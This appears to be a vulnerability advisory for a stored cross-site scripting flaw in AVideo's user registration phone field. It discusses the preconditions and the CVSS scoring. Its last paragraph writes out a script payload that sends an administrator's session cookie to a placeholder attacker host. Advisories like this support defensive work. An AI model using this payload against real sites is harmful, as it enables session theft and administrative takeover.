AVideo EUVD-2026-56137

Exploitation requires that the AVideo instance has public user registration enabled, which is the default state for most deployments - the attacker must be able to submit the registration form without prior authentication. The stored payload only triggers when an administrator navigates to the users management page after the malicious account has been created; without that administrator interaction, the payload remains dormant in the database. AVideo instances where public registration is disabled are not exploitable via this unauthenticated vector. Exploitation does not require any special server configuration, non-default features, or specific PHP settings beyond a reachable registration endpoint and a reachable admin users management page.

The provided CVSS 4.0 score of 5.1 (Medium) uses SC:L/SI:L to represent limited subsequent-system impact on the admin browser context, with AV:N/AC:L/AT:N confirming no special network conditions or attack prerequisites. The PR:L rating in the provided vector is slightly conservative - the description explicitly states unauthenticated attackers can exploit the registration form, suggesting PR:N is more accurate for independent assessment. Despite the moderate numeric score, real-world impact is higher than the score implies: successful execution in the admin session can yield full administrative account takeover, privileged configuration changes, or lateral movement within the application. No CISA KEV listing and no confirmed public POC limit immediate urgency, though VulnCheck's publication of an advisory increases the likelihood that exploit patterns will become widely known. The attack is low-complexity and accessible to unsophisticated attackers once the registration endpoint and payload pattern are identified. The primary limiting factor is the required administrator interaction - the admin must visit the users management page after the malicious registration.

An unauthenticated attacker registers a new AVideo account, entering a JavaScript payload such as <script>fetch('https://attacker.example/c?s='+document.cookie)</script> in the phone field. The payload is stored unsanitized in the database. When an administrator later opens the users management page, the bootgrid component renders the phone field via innerHTML, triggering silent execution of the script in the admin's browser session and exfiltrating the admin's session cookie to the attacker's server.